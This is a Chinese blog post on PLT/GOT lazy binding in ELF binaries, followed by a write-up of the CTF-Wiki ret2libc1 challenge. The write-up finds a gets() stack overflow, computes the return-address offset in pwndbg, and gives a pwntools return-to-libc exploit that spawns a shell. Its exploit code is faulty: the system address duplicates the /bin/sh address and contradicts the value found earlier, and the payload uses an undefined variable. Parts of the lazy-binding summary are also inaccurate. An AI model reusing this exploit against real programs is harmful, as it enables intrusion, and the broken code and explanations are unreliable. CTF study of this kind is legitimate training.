080482e0 <puts@plt>:
80482e0: ff 25 0c a0 04 08 jmp *0x804a00c
80482e6: 68 00 00 00 00 push $0x0
80482eb: e9 e0 ff ff ff jmp 80482d0 <_init+0x28>
080482f0 <__libc_start_main@plt>:
80482f0: ff 25 10 a0 04 08 jmp *0x804a010
80482f6: 68 08 00 00 00 push $0x8
80482fb: e9 d0 ff ff ff jmp 80482d0 <_init+0x28>

除第一个表项以外,plt 表的第一条都是跳转到对应的 got 表项

3.寻找地址的got 表项的内容我们可以通过 gdb 来看一下

操作:

1. gdb test 
2.b main
3.run
4.x/x jmp对应的地址
图片

如果函数还没有执行的时候,这里的地址是对应 plt 表项的下一条命令

 push 0x0
4.还没有执行过函数之前 printf@got 的内容是 lookup_printf 函数的地址,进行寻找函数地址的操作

首先执行的操作

push   $0x0    //将数据压到栈上,作为将要执行的函数的参数
jmp 0x80482d0 //去到了第一个表项

然后执行的此操作

080482d0 <common@plt>:
pushl 0x804a004 //将数据压到栈上,作为后面函数的参数
jmp *0x804a008 //跳转到函数
add %al,(%eax)
...
5.gdb调试以上的操作

执行之前

图片

执行后这里的数值进行了改变(对应的函数是_dl_runtime_resolve

6.延迟绑定的的最后_dl_runtime_resolve的查找方式)
  1. 在 xxx@plt 中,在 jmp 之前 push 了一个参数(每个 xxx@plt 的 push 的操作数都不一样,那个参数就相当于函数的 id),作用是给予_dl_runtime_resolve 寻找函数的地址
  2. 在 elf 文件中 .rel.plt 保存了重定位表的信息(使用 readelf -r test 命令可以查看 test 可执行文件中的重定位信息)
图片
7._dl_runtime_resolve 找到 printf 函数地址之后,填回 GOT 表项的方式

根据.rel.plt 的位置就对应着 xxx@plt 里 jmp 的地址将地址填回GOT表

8.总结

调用的函数没有被调用过,想要调用他的流程:

xxx@plt -> xxx@got -> xxx@plt -> 公共 @plt -> _dl_runtime_resolve
  1. xxx@plt:最初,当程序第一次调用一个库函数(比如xxx)时,程序会跳转到PLT(Procedure Linkage Table)中的xxx@plt条目。这个条目的作用是为了懒加载,即在第一次调用时会触发动态链接器去解析并加载xxx函数
  2. xxx@got:PLT中的xxx@plt条目实际上只是一个跳转到xxx@got(Global Offset Table)的指令。在第一次调用xxx函数时,如果xxx函数已经被动态链接到内存中,那么PLT中的xxx@plt将会被重定向到xxx@got,以执行xxx函数
  3. xxx@plt(第二次):如果xxx函数已经被动态链接到内存中,则PLT中的xxx@plt将会被直接重定向到xxx函数的地址,而不会再次触发动态链接器
  4. 公共@plt:这个标记是objdump用来标记PLT表中没有明确符号名的条目的。在实际的二进制文件中,这个标记可能是”common”或其他类似的标记。它表示一个通用的PLT表条目,通常是在动态链接器进行符号解析时使用
  5. _dl_runtime_resolve:这是一个在程序运行时由动态链接器使用的内部函数,用于解析和重定位库函数的调用地址。当动态链接器无法找到xxx函数的地址时,它会调用_dl_runtime_resolve来进行解析和加载xxx函数

4.根据大佬的大佬的思路梳理一遍

1.第一次调用
图片
2.再次调用
图片

2.演示基于CTF-Wiki ret2libc1

1.checksec检查保护机制

image-20240411190754052

32 位 的程序开启NX保护

2.ida查看文件

image-20240411190920708
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(v4);
return 0;
}
  1. gets()函数这里没有对输入进行限制存在栈溢出漏洞(大小为100)image-20240411205745634
  2. plt中有system()函数(这样我们可以让程序返回到system@plt)
  3. 给system()一个/bin/sh的参数,用于get shell

3.找到/bin/sh,字符串查找(shift+f12)

0x08048720
image-20240411201646278

4.寻找偏移量

我们利用cyclic指令计算(传入肯定溢出长度的字符串计算最后几位的偏移)

aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
cyclic 200
cyclic -l daab
pwndbg> r
Starting program: /home/kali/Desktop/question/pwn/ctf_wiki/ret2libc1
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
RET2LIBC >_<
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────
EAX 0x0
*EBX 0xf7e1dff4 (_GLOBAL_OFFSET_TABLE_) ◂— 0x21dd8c
*ECX 0xf7e1f9c4 (_IO_stdfile_0_lock) ◂— 0x0
EDX 0x0
*EDI 0xf7ffcba0 (_rtld_global_ro) ◂— 0x0
*ESI 0x8048690 (__libc_csu_init) ◂— push ebp
*EBP 0x62616163 ('caab')
*ESP 0xffffcf80 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
*EIP 0x62616164 ('daab')
─────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────────────────────
Invalid address 0x62616164










─────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffcf80 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
01:0004│ 0xffffcf84 ◂— 'faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
02:0008│ 0xffffcf88 ◂— 'gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
03:000c│ 0xffffcf8c ◂— 'haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
04:0010│ 0xffffcf90 ◂— 'iaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
05:0014│ 0xffffcf94 ◂— 'jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
06:0018│ 0xffffcf98 ◂— 'kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
07:001c│ 0xffffcf9c ◂— 'laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
───────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────
► 0 0x62616164
1 0x62616165
2 0x62616166
3 0x62616167
4 0x62616168
5 0x62616169
6 0x6261616a
7 0x6261616b
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
pwndbg> cyclic -l daab
Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162)
Found at offset 112
pwndbg>

image-20240411212124230找到偏移值112

5.寻找system函数

image-20240411212219634
image-20240411212249867
0x08048460

6.EXP

from pwn import *
context.log_level="debug"
p=process("./ret2libc1")
system_plt=0x08048720
bin_sh=0x08048720
payload=flat(['A'*112,system_plt,1234,bin_add])
p.sendline(payload)
p.interactive()
image-20240411214715176
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇